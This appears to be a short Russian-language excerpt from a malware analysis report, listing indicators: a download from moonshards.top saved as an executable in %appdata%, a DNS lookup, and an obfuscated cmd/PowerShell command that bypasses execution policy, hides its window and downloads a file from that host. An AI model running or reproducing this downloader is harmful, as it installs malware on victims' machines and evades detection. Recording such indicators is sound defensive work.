Техническая информация
- http://moonshards.top/search.php как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "p^oWE^rs^hEl^L.Ex^E ^-^e^xECuTi^onp^O^l^ic^y bYP^ASs ^-nOPrOfi^L^E^ -Wi^NDOwstyl^E H^IDdEn (^New-OB^jeCT^ ^S^YsTe^m.N^eT.w^ebc^LIEN^t^).dOW^N^l^oADfiLe('http://moonshards.to...
- DNS ASK mo###hards.top
- '<SYSTEM32>\cmd.exe' /c "p^oWE^rs^hEl^L.Ex^E ^-^e^xECuTi^onp^O^l^ic^y bYP^ASs ^-nOPrOfi^L^E^ -Wi^NDOwstyl^E H^IDdEn (^New-OB^jeCT^ ^S^YsTe^m.N^eT.w^ebc^LIEN^t^).dOW^N^l^oADfiLe('http://moonshards.to...' (со скрытым окном)